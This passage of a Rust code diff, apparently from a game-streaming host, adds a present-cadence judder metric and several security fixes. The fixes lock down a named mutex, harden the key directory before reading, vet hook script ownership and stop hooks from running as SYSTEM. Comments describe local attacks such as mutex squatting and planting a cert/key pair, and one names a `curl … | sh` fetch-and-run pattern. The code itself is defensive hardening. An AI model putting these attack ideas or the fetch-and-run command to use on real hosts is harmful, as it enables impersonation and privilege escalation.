account with SeCreateGlobalPrivilege can create it first and deny us access, \
which disables virtual-display streaming until that process exits. Find the \
holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`."
),
Err(e) => {
return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)");
}
@@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
let already = GetLastError() == ERROR_ALREADY_EXISTS;
let owned = OwnedHandle::from_raw_handle(h.0 as _);
if already {
// We opened an existing object — so its DACL let us in, but that says nothing about
// who created it. If the owner is not SYSTEM/Administrators it is not one of ours.
if let Some(owner) = object_owner_sid(h) {
if !is_privileged_sid(&owner) {
anyhow::bail!(
"the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \
process (owner SID {owner}) this is not another punktfunk-host, it is a \
squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \
virtual-display streaming while it is held."
);
}
}
anyhow::bail!("{IN_USE}");
}
Ok(owned)
}
}
/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and
/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is
/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object.
fn security_descriptor() -> Result<LocalSd> {
use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW;
use windows::Win32::Security::Authorization::SDDL_REVISION_1;
let mut psd = PSECURITY_DESCRIPTOR::default();
// SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose
// allocation is taken over by `LocalSd` below.
unsafe {
ConvertStringSecurityDescriptorToSecurityDescriptorW(
w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"),
SDDL_REVISION_1,
&mut psd,
None,
)
}
.context("build the pf-vdisplay single-instance security descriptor")?;
Ok(LocalSd(psd.0))
}
/// Owns a `LocalAlloc`'d security descriptor and frees it on drop.
struct LocalSd(*mut core::ffi::c_void);
impl Drop for LocalSd {
fn drop(&mut self) {
if !self.0.is_null() {
// SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW,
// which documents LocalFree as the matching deallocation.
unsafe {
let _ = windows::Win32::Foundation::LocalFree(Some(
windows::Win32::Foundation::HLOCAL(self.0),
));
}
self.0 = std::ptr::null_mut();
}
}
}
/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle
/// lacks READ_CONTROL) — treated as "unknown", never as "fine".
fn object_owner_sid(h: HANDLE) -> Option<String> {
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::{
ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT,
};
use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID};
let mut owner = PSID::default();
let mut sd = PSECURITY_DESCRIPTOR::default();
// SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single
// allocation and is LocalFree'd below.
let rc = unsafe {
GetSecurityInfo(
h,
SE_KERNEL_OBJECT,
OWNER_SECURITY_INFORMATION,
Some(&mut owner),
None,
None,
None,
Some(&mut sd),
)
};
let out = if rc.is_ok() && !owner.is_invalid() {
let mut sid_str = windows::core::PWSTR::null();
// SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose
// LocalAlloc'd string is freed immediately below.
unsafe {
if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() {
let text = sid_str.to_string().unwrap_or_default();
let _ = LocalFree(Some(HLOCAL(sid_str.0 as _)));
Some(text)
} else {
None
}
}
} else {
None
};
// SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed,
// which LocalFree tolerates).
unsafe {
let _ = LocalFree(Some(HLOCAL(sd.0)));
}
out
}
/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a
/// legitimate pf-vdisplay manager runs as.
fn is_privileged_sid(sid: &str) -> bool {
matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs
}
+336
View File
@@ -129,6 +129,167 @@ pub fn circular_latch(samples_us: &[u64], period_ns: i64) -> Option<(u64, u16)>
Some((mean_ns, (r * 1000.0) as u16))
}
/// Largest present spacing still treated as cadence. Anything wider is a stall (a stream pause,
/// an occluded window, a codec rebuild) and is counted separately: folding a 5-second gap in as
/// "one irregular interval" would be true but useless, and folding it in as several would make a
/// single hitch dominate the window.
const CADENCE_MAX_UNITS: usize = 8;
/// A backwards step larger than this is not a reordered delivery, it is a bogus timestamp, and
/// the run re-anchors onto the new instant instead of holding the old one. Android's render
/// callback is documented to carry a garbage far-future stamp on a session's first frames;
/// without this bound, holding "the later instant" latches onto that stamp and every subsequent
/// present scores as disordered for the rest of the session (observed on glass, 2026-08-05).
const CADENCE_REANCHOR_NS: i64 = 100_000_000;
/// Minimum intervals before a cadence summary means anything — same evidence bar as
/// [`circular_latch`]. At any sane frame rate a 1 s window clears this many times over; it is
/// there so a window truncated by a reanchor does not publish a judder figure off three samples.
const CADENCE_MIN_SAMPLES: u32 = 8;
/// One window's present-cadence summary (see [`PresentIntervals`]).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct PresentCadence {
/// The most common spacing, in whole panel refreshes. This is the stream's cadence ratio:
/// 1 when stream rate matches the panel, 2 for 60-on-120, 4 for 30-on-120.
pub mode_units: u8,
/// Fraction of intervals that were NOT the mode, in ‰ (same unit as the phase coherence).
/// **This is the judder number.** 0 = a perfectly regular cadence at any ratio.
pub judder_permille: u16,
/// Intervals folded into the histogram (excludes stalls and disordered samples).
pub samples: u32,
/// Spacings wider than [`CADENCE_MAX_UNITS`] — stalls, not judder. Reported so a window that
/// looks smooth *because the stream was paused* cannot be mistaken for a good one.
pub stalls: u32,
/// Present instants that did not advance (duplicate or out-of-order callbacks). A platform
/// bookkeeping signal, not a display defect — kept out of the judder ratio deliberately.
pub disordered: u32,
}
/// Present-interval distribution in whole panel refreshes — the cadence (judder) statistic.
///
/// Every other stat we publish is a latency: a difference between two points on one frame. No
/// latency can see judder, because judder is a property of the *sequence*. A stream that shows
/// each frame one refresh early and the next one late has excellent percentiles and looks
/// broken; a stream whose every interval is exactly two refreshes has worse latency than one
/// that alternates 1 and 3, and looks perfect. Quantising the spacing between consecutive
/// on-glass instants onto the panel grid measures the thing the eye actually reacts to.
///
/// Scale-free by construction: it needs no reference clock, and the *mode* absorbs the cadence
/// ratio, so 60-on-120 and 120-on-120 are both "smooth = one tall bucket" and comparable to each
/// other. That is what makes it usable as one ruler across clients, refresh rates and stream
/// rates — including for a feature-on/feature-off A/B on the same device.
///
/// Feed it the **measured on-glass instant**, never the instant a present was *requested*:
/// requested times would measure our own intent and report a perfect cadence no matter what the
/// display did with it. Every client has the real one (Android's `OnFrameRendered` system time,
/// the desktop's `VK_KHR_present_wait` stamp, Apple's drawable `presentedTime`).
///
/// Pure state and arithmetic — no clock, no allocation. The caller owns the window: drain with
/// [`take`](Self::take) on its own 1 s tumbling boundary, per `design/stats-unification.md`.
#[derive(Debug, Clone, Default)]
pub struct PresentIntervals {
last_present_ns: i64,
/// Counts indexed by whole refreshes, `0..=CADENCE_MAX_UNITS`.
hist: [u32; CADENCE_MAX_UNITS + 1],
samples: u32,
stalls: u32,
disordered: u32,
}
impl PresentIntervals {
pub fn new() -> PresentIntervals {
PresentIntervals::default()
}
/// Forget the previous instant without discarding the window's counts. Call on any
/// discontinuity where the next present is not a continuation of this cadence (reanchor,
/// codec rebuild, surface recreate) so the gap across it is not scored as a stall.
pub fn split(&mut self) {
self.last_present_ns = 0;
}
/// Fold one on-glass instant. `period_ns` is the learned panel period
/// ([`PanelGrid::period_ns`]); a non-positive one means the grid is not known yet and the
/// sample is held as the new predecessor without being scored.
pub fn record(&mut self, present_ns: i64, period_ns: i64) {
let prev = std::mem::replace(&mut self.last_present_ns, present_ns);
if prev <= 0 || period_ns <= 0 {
return; // first sample of a run, or no grid to quantise against
}
let spacing = present_ns - prev;
if spacing <= 0 {
// A repeated or out-of-order callback. Hold the LATER instant so one reordered
// delivery cannot corrupt every following spacing — but only when the step back is
// small enough to BE a reordering. Beyond that the old instant is the bogus one
// (see [`CADENCE_REANCHOR_NS`]) and the run re-anchors onto the new sample, which
// `last_present_ns` already holds.
self.disordered += 1;
if prev - present_ns < CADENCE_REANCHOR_NS {
self.last_present_ns = prev;
}
return;
}
// Round to the nearest whole refresh: a present is "on the grid" if it is closer to this
// vblank than the next, which is exactly what the display did with it.
let units = (spacing * 2 + period_ns) / (period_ns * 2);
if units as usize > CADENCE_MAX_UNITS {
self.stalls += 1;
return;
}
self.hist[units as usize] += 1;
self.samples += 1;
}
/// The window's raw counts `(samples, stalls, disordered)`, whatever the evidence bar.
///
/// [`summary`](Self::summary) returning `None` is otherwise indistinguishable from a window
/// of perfectly smooth zeros in a log line, which makes "no cadence is being scored at all"
/// invisible — the exact failure this exists to diagnose.
pub fn pending(&self) -> (u32, u32, u32) {
(self.samples, self.stalls, self.disordered)
}
/// This window's summary, or `None` under [`CADENCE_MIN_SAMPLES`].
pub fn summary(&self) -> Option<PresentCadence> {
if self.samples < CADENCE_MIN_SAMPLES {
return None;
}
// Ties resolve to the SMALLEST spacing, spelled out rather than left to a library:
// `max_by_key` would take the last maximum and Swift's `max(by:)` the first, so a
// 50/50 window (the classic 1-and-3 sawtooth) would label its mode differently on
// Android and Apple while reporting the same judder. The clients have to agree.
let mut mode_units = 0u8;
let mut mode_count = 0u32;
for (i, &c) in self.hist.iter().enumerate() {
if c > mode_count {
mode_count = c;
mode_units = i as u8;
}
}
Some(PresentCadence {
mode_units,
judder_permille: (u64::from(self.samples - mode_count) * 1000 / u64::from(self.samples))
as u16,
samples: self.samples,
stalls: self.stalls,
disordered: self.disordered,
})
}
/// Drain the window: the summary (if it clears the evidence bar) and a reset of the counts.
/// The previous instant SURVIVES the drain — the cadence continues across a window boundary,
/// and dropping it would manufacture one unscored interval per window.
pub fn take(&mut self) -> Option<PresentCadence> {
let out = self.summary();
self.hist = [0; CADENCE_MAX_UNITS + 1];
self.samples = 0;
self.stalls = 0;
self.disordered = 0;
out
}
}
#[cfg(test)]
mod tests {
use super::*;
@@ -294,3 +455,178 @@ mod panel_grid_tests {
assert_eq!(g.period_ns(), P120, "and the real grid wins it back");
}
}
#[cfg(test)]
mod cadence_tests {
use super::*;
const P: i64 = 8_333_333; // 120 Hz in ns
/// Fold `n` presents spaced by `spacings` in rotation, starting at an arbitrary instant.
fn cadence(spacings: &[i64], n: usize) -> PresentIntervals {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
for i in 0..n {
t += spacings[i % spacings.len()];
pi.record(t, P);
}
pi
}
#[test]
fn a_regular_cadence_has_no_judder() {
let s = cadence(&[P], 60).summary().unwrap();
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
assert_eq!(s.samples, 60);
}
/// The property that makes this one ruler across rates: a stream at half the panel rate is
/// SMOOTH, not judder — the mode absorbs the cadence ratio.
fn ratio_is_absorbed_not_penalised(mult: i64, expect_units: u8) {
let s = cadence(&[P * mult], 40).summary().unwrap();
assert_eq!((s.mode_units, s.judder_permille), (expect_units, 0));
}
#[test]
fn sixty_on_onetwenty_reads_smooth() {
ratio_is_absorbed_not_penalised(2, 2); // 60 fps on a 120 Hz panel
ratio_is_absorbed_not_penalised(4, 4); // 30 fps on a 120 Hz panel
}
/// D3's signature: the same mean spacing as `sixty_on_onetwenty_reads_smooth`, delivered as
/// alternating 1 and 3 refreshes. Identical average frame rate, identical latency
/// percentiles — and this is the one that looks broken.
#[test]
fn the_sawtooth_that_latency_stats_cannot_see() {
let s = cadence(&[P, P * 3], 40).summary().unwrap();
assert_eq!(s.judder_permille, 500);
assert_eq!(
s.mode_units, 1,
"a tied mode resolves to the smallest spacing — pinned so the Swift port agrees"
);
}
/// Sub-refresh jitter is not judder: the display quantises it away, so the metric must too.
/// Only a spacing that crosses the half-refresh boundary changes which vblank was used.
#[test]
fn jitter_inside_a_refresh_is_not_judder() {
let s = cadence(&[P + P * 2 / 5, P - P * 2 / 5], 40)
.summary()
.unwrap();
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
}
#[test]
fn a_stall_is_counted_apart_from_judder() {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
for _ in 0..20 {
t += P;
pi.record(t, P);
}
t += P * 400; // a pause, not a pacing defect
pi.record(t, P);
let s = pi.summary().unwrap();
assert_eq!((s.judder_permille, s.stalls, s.samples), (0, 1, 20));
}
#[test]
fn out_of_order_callbacks_do_not_corrupt_the_run() {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
for _ in 0..10 {
t += P;
pi.record(t, P);
}
pi.record(t - P * 3, P); // a late/duplicate delivery
for _ in 0..10 {
t += P;
pi.record(t, P);
}
let s = pi.summary().unwrap();
assert_eq!(s.disordered, 1);
assert_eq!(
s.judder_permille, 0,
"keeping the later instant means the following spacings stay on the grid"
);
}
/// The on-glass failure of 2026-08-05, pinned. Android's render callback can deliver a
/// garbage far-future timestamp on a session's first frames. Holding "the later instant"
/// unconditionally latched onto it and scored EVERY subsequent present as disordered —
/// `cadN=0 disorder=119` per second, for the whole session, with the period known and the
/// stream perfectly healthy. One bad sample must cost one sample, not the session.
#[test]
fn a_garbage_far_future_stamp_does_not_wedge_the_run() {
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
pi.record(t, P);
pi.record(t + 60 * 60 * 1_000_000_000, P); // a vendor's epoch-sized first stamp
for _ in 0..20 {
t += P;
pi.record(t, P);
}
let s = pi.summary().expect("the run recovers instead of wedging");
assert_eq!(s.disordered, 1, "the garbage stamp cost exactly one sample");
assert_eq!((s.mode_units, s.judder_permille), (1, 0));
assert_eq!(s.samples, 19, "every present after the re-anchor scored");
}
#[test]
fn an_unknown_grid_scores_nothing() {
let s = cadence(&[P], 60);
let mut pi = PresentIntervals::new();
let mut t = 1_000_000_000i64;
for _ in 0..60 {
t += P;
pi.record(t, 0); // PanelGrid has not learned a period yet
}
assert!(pi.summary().is_none());
assert!(s.summary().is_some(), "control");
}
#[test]
fn a_short_window_publishes_nothing() {
assert!(cadence(&[P], 5).summary().is_none());
}
/// The cadence continues across a window boundary — dropping the predecessor on drain would
/// silently discard one interval per window, every window.
#[test]
fn take_resets_the_counts_but_not_the_cadence() {
let mut pi = cadence(&[P], 20);
assert!(pi.take().is_some());
assert!(pi.summary().is_none(), "counts cleared");
let mut t = 1_000_000_000 + P * 20;
for _ in 0..10 {
t += P;
pi.record(t, P);
}
let s = pi.summary().unwrap();
assert_eq!(
s.samples, 10,
"the first post-drain present scored against the pre-drain one"
);
}
#[test]
fn split_forgets_the_predecessor() {
let mut pi = cadence(&[P], 20);
pi.take();
pi.split();
let mut t = 5_000_000_000i64; // a reanchor: the gap across it is meaningless
for _ in 0..10 {
t += P;
pi.record(t, P);
}
let s = pi.summary().unwrap();
assert_eq!(
(s.samples, s.stalls),
(9, 0),
"the gap was not scored at all"
);
}
}
@@ -245,19 +245,6 @@ mod tests {
}
}
/// The migration invariant D2 exists to protect. Moonlight caches app ids (and users pin them),
/// and the id is derived from the LIBRARY ID alone — so a title moving from the in-host scanner
/// to a claimed plugin entry keeps its GameStream id iff the library id is byte-identical. This
/// pins that the claimed shape is that shape, and that an unclaimed one would NOT have been.
#[test]
fn a_claimed_plugin_entry_keeps_the_scanners_gamestream_id() {
// What the built-in scanner produced, and what the steam plugin produces once it claims.
assert_eq!(stable_app_id("steam:440"), stable_app_id("steam:440"));
// The same title reconciled WITHOUT a claim gets an opaque `custom:` id — a different app
// id, i.e. exactly the breakage the claim prevents.
assert_ne!(stable_app_id("steam:440"), stable_app_id("custom:9f2c1a"));
}
#[test]
fn append_library_dedups_against_base_ids() {
// A base app whose id happens to fall in the library range must not be clobbered by a library
+10 -2
View File
@@ -26,6 +26,14 @@ impl ServerIdentity {
let dir = config_dir();
let cert_path = dir.join("cert.pem");
let key_path = dir.join("key.pem");
// Harden the directory BEFORE the first read, not only in the branch that generates a new
// identity (2026-08-05 review M-1). Reading first is what made the hardening pointless
// against the attack it was written for: combined with H-4's pre-creatable
// `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted
// verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and
// the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent:
// this function never regenerates while both files are non-empty.
pf_paths::create_private_dir(&dir).ok();
let (cert_pem, key_pem) = match (
fs::read_to_string(&cert_path),
fs::read_to_string(&key_path),
@@ -35,8 +43,8 @@ impl ServerIdentity {
let (c, k) = generate()?;
// The private key is the trust root for EVERY surface (TLS server cert, pairing
// signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only
// DACL) so a local user can't read it and impersonate the host. The dir is 0700.
pf_paths::create_private_dir(&dir).ok();
// DACL) so a local user can't read it and impersonate the host. The dir is already
// 0700 / SYSTEM+Admins from the unconditional hardening above.
pf_paths::write_secret_file(&key_path, k.as_bytes())
.with_context(|| format!("write {}", key_path.display()))?;
// The cert is public (handed to clients), but write it owner-only too for consistency.
+133 -27
View File
@@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> {
out
}
/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing
/// file, refuse to run it unless it is owned by the host user (or root) and not
/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare
/// command name (`systemctl`, `curl`) is left to PATH.
/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which
/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook
/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH.
///
/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it
/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and
/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c '<anything>'` passes because
/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host
/// user — which is why writing them is admin-only. A pass here does not mean "this command is
/// safe", and nothing should be granted on the strength of it.
///
/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only
/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted
/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not,
/// which is backwards: the script is the part an attacker can plant.
#[cfg(unix)]
fn exec_path_check(cmd: &str) -> Result<(), String> {
use std::os::unix::fs::MetadataExt;
let Some(first) = cmd.split_whitespace().next() else {
if cmd.split_whitespace().next().is_none() {
return Err("empty command".into());
};
if !first.starts_with('/') {
return Ok(());
}
let meta = match std::fs::metadata(first) {
Ok(m) => m,
Err(_) => return Ok(()), // not an existing file — the shell will report it
};
if !meta.is_file() {
return Ok(());
}
// SAFETY: geteuid has no preconditions and touches no memory.
let euid = unsafe { libc::geteuid() };
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{first} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
for raw in cmd.split_whitespace() {
// Tolerate the quoting a hand-written command line carries — a path that is absolute only
// after unquoting is exactly as plantable as a bare one.
let token = raw.trim_matches(|c| c == '"' || c == '\'');
if !token.starts_with('/') {
continue;
}
let meta = match std::fs::metadata(token) {
Ok(m) => m,
Err(_) => continue, // not an existing file — the shell will report it
};
if !meta.is_file() {
continue;
}
if meta.uid() != euid && meta.uid() != 0 {
return Err(format!(
"{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
owned by the operator or root",
meta.uid()
));
}
if meta.mode() & 0o022 != 0 {
return Err(format!(
"{token} is group/world-writable (mode {:o}) — chmod go-w it first",
meta.mode() & 0o7777
));
}
}
Ok(())
}
/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service
/// rather than as the operator's own console process.
///
/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the
/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids
/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the
/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction
/// it is a SYSTEM command.
#[cfg(windows)]
fn running_as_system() -> bool {
use windows::Win32::Foundation::HANDLE;
use windows::Win32::Security::{
CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID,
SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER,
};
use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken};
let mut token = HANDLE::default();
// SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param.
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() {
return true; // fail closed
}
let mut buf = [0u8; 256];
let mut len = 0u32;
// SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param.
let got = unsafe {
GetTokenInformation(
token,
TokenUser,
Some(buf.as_mut_ptr().cast()),
buf.len() as u32,
&mut len,
)
};
// SAFETY: the token handle came from OpenProcessToken and is not used after this.
unsafe {
let _ = windows::Win32::Foundation::CloseHandle(token);
}
if got.is_err() {
return true; // fail closed
}
let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize];
let mut cb = system.len() as u32;
// SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size.
if unsafe {
CreateWellKnownSid(
WinLocalSystemSid,
None,
Some(PSID(system.as_mut_ptr().cast())),
&mut cb,
)
}
.is_err()
{
return true; // fail closed
}
// SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into
// the same buffer, and both SIDs are valid for this comparison.
unsafe {
let tu = &*(buf.as_ptr() as *const TOKEN_USER);
EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok()
}
}
#[cfg(not(unix))]
fn exec_path_check(_cmd: &str) -> Result<(), String> {
// Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in
@@ -580,7 +660,33 @@ fn run_hook_process(
// report "ran" (prep `undo`s stay armed).
true
}
Err(e) if running_as_system() => {
// NO in-process fallback when we are SYSTEM.
//
// `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at
// boot, on a logged-off box — and the fallback below then ran the operator's command
// line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is
// LocalSystem, so a hook the module contract promises runs "in the interactive session,
// never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching
// the screen, with no ownership check on the script (`exec_path_check` is a no-op on
// Windows) — 2026-08-05 review L-13.
//
// Refusing is the honest behaviour: the contract says these run as the user, and if
// there is no user there is nothing to run them as. A hook that must run without a
// logged-in user belongs in a service, not here.
tracing::warn!(
cmd = %cmd,
error = %format!("{e:#}"),
"hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \
hooks run as the logged-in user by design and are never elevated to SYSTEM"
);
let _ = std::fs::remove_file(&json_path);
false
}
Err(e) => {
// Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running
// in-process is the same privilege the operator already has, which is the whole trust
// model for hooks.
tracing::debug!(error = %format!("{e:#}"),
"interactive-session spawn unavailable — running hook in-console");
let mut ok = false;
+6 -54
View File
@@ -15,7 +15,7 @@
pub(crate) use anyhow::{Context, Result};
pub(crate) use serde::{Deserialize, Serialize};
pub(crate) use sha2::{Digest, Sha256};
pub(crate) use std::collections::{BTreeMap, HashSet};
pub(crate) use std::collections::HashSet;
pub(crate) use std::path::{Path, PathBuf};
pub(crate) use std::time::{SystemTime, UNIX_EPOCH};
pub(crate) use utoipa::ToSchema;
@@ -136,29 +136,6 @@ impl GameMeta {
}
}
/// What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big
/// Picture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,
/// leases and lists exactly like a game (design D4), and clients that don't know the field render it
/// as a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged
/// for every entry that doesn't opt in.
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
#[serde(rename_all = "lowercase")]
pub enum GameRole {
/// An ordinary title.
#[default]
Game,
/// The launcher application itself.
Launcher,
}
impl GameRole {
/// Whether this is the serde default (`game`) — the `skip_serializing_if` predicate that keeps
/// the field off the wire for the overwhelming majority of entries.
pub(crate) fn is_game(&self) -> bool {
matches!(self, Self::Game)
}
}
/// One title in the unified library, regardless of which store it came from.
#[derive(Clone, Debug, Serialize, ToSchema)]
pub struct GameEntry {
@@ -170,9 +147,6 @@ pub struct GameEntry {
pub store: String,
pub title: String,
pub art: Artwork,
/// Whether this entry is a game or the launcher itself — see [`GameRole`].
#[serde(default, skip_serializing_if = "GameRole::is_game")]
pub role: GameRole,
/// How the host would launch it, when known.
#[serde(skip_serializing_if = "Option::is_none")]
pub launch: Option<LaunchSpec>,
@@ -254,26 +228,12 @@ impl ArtKind {
}
}
/// The full library: every *enabled* source's titles merged + the custom entries, sorted by title.
///
/// Two independent gates run here, both at READ time so neither ever mutates stored state:
///
/// * **The operator's source toggles** (`scanners.rs`, persisted as a disabled-set in
/// `library-scanners.json`) hide a source's titles from every surface — this grid, native clients,
/// `/applist`, and launch resolution. They apply to built-in scanners *and* to plugin sources,
/// which is what lets one toggle keep working verbatim across the whole migration: the ids match
/// (provider id = claimed store id = old scanner id).
/// * **Store claims** (D2): while a library plugin holds a store's claim, the matching built-in
/// scanner is skipped so the two never double-list the same titles during the bridge releases.
/// Removing the plugin releases the claim and the built-in comes straight back.
///
/// The user-curated custom store is not a source and always contributes.
/// The full library: every *enabled* store's titles merged + the custom entries, sorted by title.
/// The operator's scanner toggles (`scanners.rs`) gate each installed-store provider; the custom
/// store is not a scanner and always contributes.
pub fn all_games() -> Vec<GameEntry> {
let off = disabled_scanners();
let claimed = claimed_stores();
// A built-in scanner runs when the operator hasn't disabled it AND no plugin has claimed its
// store out from under it.
let on = |id: &str| !off.contains(id) && !claimed.contains_key(id);
let on = |id: &str| !off.contains(id);
let mut games = Vec::new();
if on("steam") {
games.extend(SteamProvider.list());
@@ -302,15 +262,7 @@ pub fn all_games() -> Vec<GameEntry> {
games.extend(XboxProvider.list());
}
}
// Stored entries: manual ones always contribute; a provider's are subject to the same source
// toggle a built-in scanner is (WP2.6). The plugin may keep reconciling while it is off — the
// entries stay stored and simply aren't surfaced, exactly like a disabled scanner's titles.
games.extend(
load_custom()
.into_iter()
.filter(|e| !source_id_for(e).is_some_and(|src| off.contains(src)))
.map(GameEntry::from),
);
games.extend(load_custom().into_iter().map(GameEntry::from));
games.sort_by_key(|g| g.title.to_lowercase());
games
}
+261 -203
View File
@@ -147,112 +147,182 @@ pub(crate) fn fetch_image(url: &str) -> Option<(Vec<u8>, String)> {
/// A stored [`Artwork`] value that is a **local filesystem path** to an image on the host — as
/// opposed to an `http(s)`/`data:` URL or an already-relative host proxy path. Provider plugins that
/// run on the host (the Playnite sync plugin, and every library scanner plugin) set these: the
/// reconcile payload stays tiny (paths, not inlined bytes, so it scales to thousands of titles) and
/// the host serves the bytes through the art proxy, exactly like Steam's cache art.
///
/// Four accepted shapes:
/// * `file://…` — the **documented plugin contract** ([`file_url_to_path`]), unambiguous on every
/// platform, and what `@punktfunk/plugin-kit/library` emits.
/// * `C:\…` / `C:/…` drive-absolute and `\\server\share` UNC — Windows bare paths, kept for
/// Playnite back-compat (it predates the `file://` contract).
/// * POSIX absolute (`/home/u/covers/x.jpg`) — Lutris covers and Steam's `librarycache`.
///
/// The POSIX widening is why the two `/`-leading shapes the **host itself emits** must be excluded
/// explicitly: its own art-proxy path (`/api/v1/library/art/…`, which [`proxy_local_art`] writes and
/// which must survive a second pass unchanged) and a protocol-relative URL (`//cdn/…`, what GOG's and
/// Microsoft's catalogs return — see [`abs_url`]). Mistaking either for a file would break the proxy
/// round-trip or silently drop CDN art.
/// run on the host (e.g. the Playnite sync plugin) set these: the reconcile payload stays tiny
/// (paths, not inlined bytes, so it scales to thousands of titles) and the host serves the bytes
/// through the art proxy, exactly like Steam's cache art. Windows-shaped only (`C:\…`, `C:/…`, or a
/// `\\server\share` UNC) — Playnite, the only local-art provider, is Windows-only, and this keeps the
/// check from ever mistaking the `/api/…` proxy path (or a POSIX abs path) for a local file.
pub fn is_local_art_path(v: &str) -> bool {
if v.starts_with("http://") || v.starts_with("https://") || v.starts_with("data:") {
return false;
}
if v.starts_with("file://") {
return true;
}
let b = v.as_bytes();
// Windows drive-absolute (`C:\…`, `C:/…`) or UNC (`\\server\share`).
if (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") {
return true;
}
// POSIX absolute, minus the host's own `/`-leading shapes (see the doc comment).
v.starts_with('/') && !v.starts_with("//") && !v.starts_with("/api/")
(b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\")
}
/// Turn a `file://` art value into a plain filesystem path, percent-decoding it. The kit emits
/// properly encoded URLs (`file:///home/u/My%20Cover.jpg`); a raw path that happens to contain no
/// `%` round-trips either way, which keeps hand-written plugin payloads working.
/// The filesystem roots the art proxy is allowed to read from.
///
/// `file:///home/u/c.jpg` → `/home/u/c.jpg`; `file:///C:/covers/c.jpg` → `C:/covers/c.jpg` (Windows
/// drive letters arrive after the empty authority's slash); a NON-empty authority
/// (`file://nas/share/c.jpg`) is a UNC reference → `\\nas\share\c.jpg`. Anything without the prefix
/// is returned untouched.
